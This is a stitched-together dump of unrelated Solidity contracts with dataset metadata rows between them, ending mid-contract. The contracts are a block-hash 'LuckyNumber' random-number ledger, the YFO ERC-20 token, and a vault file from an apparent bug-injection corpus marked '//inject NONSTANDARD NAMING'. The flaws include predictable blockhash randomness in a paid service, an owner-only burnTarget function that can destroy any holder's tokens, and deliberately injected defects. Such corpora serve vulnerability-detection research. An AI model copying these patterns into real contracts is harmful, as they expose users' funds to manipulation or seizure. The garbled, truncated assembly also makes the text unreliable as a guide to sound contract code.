pragma solidity ^0.4.15;//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOkOKWMMMMMM // // MMMMWKkk0KNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOkOKWMMMMMM // // MMMMXl.....,cdOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo:,.....dNMMMM // // MMMWd. .'cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0d:'. .xMMMM // // MMMK, ...... ..:xXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKd;. ..... :XMMM // // MMWd. .;;;,,'.. .'lkXNWWNNNWMMMMMMMMMMWNNWWWNKkc.. ...',;;;,. .kMMM // // MMNc .,::::::;,'.. ..,;;,,dNMMMMMMMMMMXl,;;;,.. ..';;::::::'. .lWMM // // MM0' .;:::::::;;'.. ;0MMMMMMMMMMMWO' ..,;;:::::::;. ;KMM // // MMx. .';::::;,'... .:0MMMMMMMMMMMMMWO;. ...';;::::;.. .OMM // // MWd. .,:::;'.. .,xNMMMMMMMMMMMMMMMMXd'. ..,;:::'. .xMM // // MNl. .,:;'.. .,ckNMMMMMMMMMMMMMMMMMMMMXxc'. ..';:,. .dWM // // MNc .,,.. .;:clox0NWXXWMMMMMMMMMMMMMMMMMMWXXWXOxolc:;. ..,'. .oWM // // MNc ... .oWMMMNXNMW0odXMMMMMMMMMMMMMMMMKooKWMNXNMMMNc. ... .oWM // // MNc. ;KMMMMNkokNMXlcKMMMMMMMMMMMMMM0coNMNxoOWMMMM0, .oWM // // MNc .;0MMMMMMWO:dNMNoxWMMMMMMMMMMMMNddNMNocKMMMMMMWO, .oWM // // MX: .lXMMMMMMMMM0lOMMNXWMMMMMMMMMMMMWXNMMklKMMMMMMMMM0:. .lNM // // MX; .;kWMMMMMMMMMMMXNMMMMMMMMMMMMMMMMMMMMMMNNMMMMMMMMMMMNx,. cNM // // MO. .:kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx:. . ,0M // // Wl..':dKWMMMMMMMWNK000KNMMMMMMMMMMMMMMMMMMMMMMMMMWNK000KNMMMMMMMMW0o;...dW // // NxdOXWMMMMMMMW0olcc::;,,cxXWMMMMMMMMMMMMMMMMMMWKd:,,;::ccld0WMMMMMMMWKkokW // // MMMMMMMMMMMWOlcd0XWWWN0x:.,OMMMMMMMMMMMMMMMMMWk,'cxKNWWWXOdcl0MMMMMMMMMMMM // // MMMMMMMMMMMWKKWMMMMMMMMMWK0XMMMMMMMMMMMMMMMMMMXOXWMMMMMMMMMN0XMMMMMMMMMMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWK0OOOO0KWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo.......'xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // MMMNKOkkkk0XNMMMMMMMMMMMMMMMMMMWO;. .:0WMMMMMMMMMMMMMMMMMWNKOkkkkOKNMMM // // MMWXOkxddoddxxkKWMMMMMMMMMMMMMMMMXo...'dNMMMMMMMMMMMMMMMMN0kxxdodddxk0XMMM // // MMMMMMMMMMMMWNKKNMMMMMMMMMMMMMMMMWOc,,c0WMMMMMMMMMMMMMMMMXKKNWMMMMMMMMMMMM // // MMMMMMMMWXKKXXNWMMMMMMMMMMWWWWWX0xcclc:cxKNWWWWWMMMMMMMMMMWNXXKKXWMMMMMMMM // // MMMWXOxdoooddxkO0NMMMMMMMWKkfoahheitNX0GlikkxxkXMMMMMMMWX0OkxddooddxOXWMMM // // MMMWXKKNNWMMMMMWWWMMMMMMMMMWNXXXNWMMMMMMWXXXXNWMMMMMMMMMWWWMMMMWWNXKKNWMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Lucky* MMMM> *~+. drohmah <MMMMMMMMMMMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Number MMMMMMMMMM> funn <MMMMMMMMMMMMMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM ------ MMMMMMMMM> drohma *~+. <MMMMMMMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Random MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Ledger MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // MMMMM>***<creator>...<MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // ~> 0x0563cAC61Ea13a591A9E41087929f80d3076471d <~+~+~+~> VIII*XII*MMXVII <~ // // MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM // // Manages contract ownership. contract Owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) onlyOwner { owner = _newOwner; } } contract Mortal is Owned { function kill() onlyOwner { selfdestruct(owner); } } contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } // Random is a block hash based random number generator. // this is public so requestors can validate thier numbers // independent of the native user interface contract Random is SafeMath { // Generates a random number from 1 to max based on the last block hash. function getRand(uint blockNumber, uint max) public constant returns(uint) { // block.blockhash(uint blockNumber) returns (bytes32): hash of the given block // only works for 256 most recent blocks excluding current return(safeAdd(uint(sha3(block.blockhash(blockNumber))) % max, 1)); } } // LuckyNumber is the main public interface for a random number ledger. // To make a request: // Step 1: Call requestNumber with the `cost` as the value // Step 2: Wait waitTime in blocks past the block which mines transaction for requestNumber // Step 3: Call revealNumber to generate the number, and make it publicly accessable in the UI. // this is required to create the Events which generate the Ledger. contract LuckyNumber is Owned { // cost to generate a random number in Wei. uint256 public cost; // waitTime is the number of blocks before random is generated. uint8 public waitTime; // set default max uint256 public max; // PendingNumber represents one number. struct PendingNumber { address proxy; uint256 renderedNumber; uint256 creationBlockNumber; uint256 max; // block to wait // this will also be used as // an active bool to save some storage uint8 waitTime; } // for Number Config :: uint256 cost, uint256 max, uint8 waitTime event EventLuckyNumberUpdated(uint256, uint256, uint8); // for Number Ledger // :: address requestor, uint256 max, uint256 creationBlockNumber, uint8 waitTime event EventLuckyNumberRequested(address, uint256, uint256, uint8); // :: address requestor, uint256 creationBlockNumber, uint256 renderedNumber event EventLuckyNumberRevealed(address, uint256, uint256); mapping (address => PendingNumber) public pendingNumbers; mapping (address => bool) public whiteList; function requestNumber(address _requestor, uint256 _max, uint8 _waitTime) payable public; function revealNumber(address _requestor) payable public; } // LuckyNumber Implementation contract LuckyNumberImp is LuckyNumber, Mortal, Random { // Initialize state +.+.+. function LuckyNumberImp() { owned(); // defaults cost = 20000000000000000; // 0.02 ether // 20 finney max = 15; // generate number between 1 and 15 waitTime = 3; // 3 blocks } // Let owner customize defauts. // Allow the owner to set max. function setMax(uint256 _max) onlyOwner public returns (bool) { max = _max; EventLuckyNumberUpdated(cost, max, waitTime); return true; } // Allow the owner to set waitTime. (in blocks) function setWaitTime(uint8 _waitTime) onlyOwner public returns (bool) { waitTime = _waitTime; EventLuckyNumberUpdated(cost, max, waitTime); return true; } // Allow the owner to set cost. function setCost(uint256 _cost) onlyOwner public returns (bool) { cost = _cost; EventLuckyNumberUpdated(cost, max, waitTime); return true; } // Allow the owner to set proxy contracts, // which can accept tokens on behalf of this contract. function enableProxy(address _proxy) onlyOwner public returns (bool) { // _cost whiteList[_proxy] = true; return whiteList[_proxy]; } function removeProxy(address _proxy) onlyOwner public returns (bool) { delete whiteList[_proxy]; return true; } // Allow the owner to cash out the holdings of this contract. function withdraw(address _recipient, uint256 _balance) onlyOwner public returns (bool) { _recipient.transfer(_balance); return true; } // Assume that simple transactions are trying to request a number, // unless it is from the owner. function () payable public { if (msg.sender != owner) { requestNumber(msg.sender, max, waitTime); } } // Request a Number ... *~> function requestNumber(address _requestor, uint256 _max, uint8 _waitTime) payable public { // external requirement: // value must exceed cost // unless address is whitelisted if (!whiteList[msg.sender]) { require(!(msg.value < cost)); } // internal requirement: // request address must not have pending number assert(!checkNumber(_requestor)); // set pending number pendingNumbers[_requestor] = PendingNumber({ proxy: tx.origin, renderedNumber: 0, max: max, creationBlockNumber: block.number, waitTime: waitTime }); if (_max > 1) { pendingNumbers[_requestor].max = _max; } // max 250 wait to leave a few blocks // for the reveal transction to occur // and write from the pending numbers block // before it expires if (_waitTime > 0 && _waitTime < 250) { pendingNumbers[_requestor].waitTime = _waitTime; } EventLuckyNumberRequested(_requestor, pendingNumbers[_requestor].max, pendingNumbers[_requestor].creationBlockNumber, pendingNumbers[_requestor].waitTime); } // Reveal your number ... *~> // Only requestor or proxy can generate the number function revealNumber(address _requestor) public payable { assert(_canReveal(_requestor, msg.sender)); _revealNumber(_requestor); } // Internal implementation of revealNumber(). function _revealNumber(address _requestor) internal { // waitTime has passed, render this requestor's number. uint256 luckyBlock = _revealBlock(_requestor); // // TIME LIMITATION: // blocks older than (currentBlock - 256) // "expire" and read the same hash as most recent valid block // uint256 luckyNumber = getRand(luckyBlock, pendingNumbers[_requestor].max); // set new values pendingNumbers[_requestor].renderedNumber = luckyNumber; // event EventLuckyNumberRevealed(_requestor, pendingNumbers[_requestor].creationBlockNumber, pendingNumbers[_requestor].renderedNumber); // zero out wait blocks since this is now inactive(record keeping) pendingNumbers[_requestor].waitTime = 0; } function canReveal(address _requestor) public constant returns (bool, uint, uint, address, address) { return (_canReveal(_requestor, msg.sender), _remainingBlocks(_requestor), _revealBlock(_requestor), _requestor, msg.sender); } function _canReveal(address _requestor, address _proxy) internal constant returns (bool) { // check for pending number request if (checkNumber(_requestor)) { // check for no remaining blocks to be mined // must wait for `pendingNumbers[_requestor].waitTime` to be excceeded if (_remainingBlocks(_requestor) == 0) { // check for ownership if (pendingNumbers[_requestor].proxy == _requestor || pendingNumbers[_requestor].proxy == _proxy) { return true; } } } return false; } function _remainingBlocks(address _requestor) internal constant returns (uint) { uint256 revealBlock = safeAdd(pendingNumbers[_requestor].creationBlockNumber, pendingNumbers[_requestor].waitTime); uint256 remainingBlocks = 0; if (revealBlock > block.number) { remainingBlocks = safeSubtract(revealBlock, block.number); } return remainingBlocks; } function _revealBlock(address _requestor) internal constant returns (uint) { // add wait block time // to creation block time // then subtract 1 return safeAdd(pendingNumbers[_requestor].creationBlockNumber, pendingNumbers[_requestor].waitTime); } function getNumber(address _requestor) public constant returns (uint, uint, uint, address) { return (pendingNumbers[_requestor].renderedNumber, pendingNumbers[_requestor].max, pendingNumbers[_requestor].creationBlockNumber, _requestor); } // is a number pending for this requestor? // TRUE: there is a number pending // can not request, can reveal // FALSE: there is not a number yet pending function checkNumber(address _requestor) public constant returns (bool) { if (pendingNumbers[_requestor].renderedNumber == 0 && pendingNumbers[_requestor].waitTime > 0) { return true; } return false; } // 0xMMWKkk0KN/>HBBi/MASSa/DANTi/LANTen.MI.MI.MI.M+.+.+.M->MMMWNKOkOKWJ.J.J.M // }
179,391
12,033
40eca87e71ec69eccd875d5282c0b3dbe21a69eb0950f768fcab63c5c1f0f628
12,758
.sol
Solidity
false
519123139
JolyonJian/contracts
b48d691ba0c2bfb014a03e2b15bf7faa40900020
contracts/7824_9973_0xac0c8da4a4748d8d821a0973d00b157aa78c473d.sol
3,035
12,496
// SPDX-License-Identifier: none pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract YFO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _isAdmin; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
230,103
12,034
7a0204efcaa7021f30142dcbb108e4eef5c0c6b5fe6787b0c5d4cc83cd22baa3
20,462
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
src/contractExtractor/nonStandardNamingExtractor/testCase/0x1d8a3ff449c2baab6aee62f514ae0db7cde4ae75_nonStandardNaming.sol
6,558
20,084
pragma solidity ^0.5.15; interface IERC20 { function TOTALSUPPLY265() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF676(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER585(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE478(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE401(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM799(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER297(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL288(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _MSGSENDER981() internal view returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA870() internal view returns (bytes memory) { //inject NONSTANDARD NAMING this; return msg.data; } } contract Ownable is Context { address private _owner; event OWNERSHIPTRANSFERRED51(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { _owner = _MSGSENDER981(); emit OWNERSHIPTRANSFERRED51(address(0), _owner); } function OWNER52() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER947() { //inject NONSTANDARD NAMING require(ISOWNER855(), "Ownable: caller is not the owner"); _; } function ISOWNER855() public view returns (bool) { //inject NONSTANDARD NAMING return _MSGSENDER981() == _owner; } function RENOUNCEOWNERSHIP936() public ONLYOWNER947 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED51(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP177(address newOwner) public ONLYOWNER947 { //inject NONSTANDARD NAMING _TRANSFEROWNERSHIP636(newOwner); } function _TRANSFEROWNERSHIP636(address newOwner) internal { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED51(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function TOTALSUPPLY265() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF676(address account) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER585(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER399(_MSGSENDER981(), recipient, amount); return true; } function ALLOWANCE478(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE401(address spender, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE768(_MSGSENDER981(), spender, amount); return true; } function TRANSFERFROM799(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER399(sender, recipient, amount); _APPROVE768(sender, _MSGSENDER981(), _allowances[sender][_MSGSENDER981()].SUB171(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE254(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE768(_MSGSENDER981(), spender, _allowances[_MSGSENDER981()][spender].ADD125(addedValue)); return true; } function DECREASEALLOWANCE775(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE768(_MSGSENDER981(), spender, _allowances[_MSGSENDER981()][spender].SUB171(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER399(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].SUB171(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD125(amount); emit TRANSFER297(sender, recipient, amount); } function _MINT552(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.ADD125(amount); _balances[account] = _balances[account].ADD125(amount); emit TRANSFER297(address(0), account, amount); } function _BURN908(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].SUB171(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB171(amount); emit TRANSFER297(account, address(0), amount); } function _APPROVE768(address owner, address spender, uint256 amount) internal { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL288(owner, spender, amount); } function _BURNFROM359(address account, uint256 amount) internal { //inject NONSTANDARD NAMING _BURN908(account, amount); _APPROVE768(account, _MSGSENDER981(), _allowances[account][_MSGSENDER981()].SUB171(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function NAME677() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL955() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS596() public view returns (uint8) { //inject NONSTANDARD NAMING return _decimals; } } library SafeMath { function ADD125(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB171(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB171(a, b, "SafeMath: subtraction overflow"); } function SUB171(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL207(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV619(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV619(a, b, "SafeMath: division by zero"); } function DIV619(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function MOD550(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD550(a, b, "SafeMath: modulo by zero"); } function MOD550(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT651(address account) internal view returns (bool) { //inject NONSTANDARD NAMING bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function TOPAYABLE339(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(account)); } function SENDVALUE156(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success,) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER644(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.TRANSFER585.selector, to, value)); } function SAFETRANSFERFROM18(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.TRANSFERFROM799.selector, from, to, value)); } function SAFEAPPROVE229(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING require((value == 0) || (token.ALLOWANCE478(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.APPROVE401.selector, spender, value)); } function SAFEINCREASEALLOWANCE497(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE478(address(this), spender).ADD125(value); CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.APPROVE401.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE975(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE478(address(this), spender).SUB171(value, "SafeERC20: decreased allowance below zero"); CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.APPROVE401.selector, spender, newAllowance)); } function CALLOPTIONALRETURN428(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING require(address(token).ISCONTRACT651(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Controller { function WITHDRAW158(address, uint) external; //inject NONSTANDARD NAMING function BALANCEOF676(address) external view returns (uint); //inject NONSTANDARD NAMING function EARN532(address, uint) external; //inject NONSTANDARD NAMING function REWARDS630() external view returns (address); //inject NONSTANDARD NAMING } // vault1111 111111111111 // abi1111: https://github.com/ystar-foundation/YstarFarming/blob/master/Vault/abi/vault.json contract Vault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; IERC20 public YFToken; // YF1111 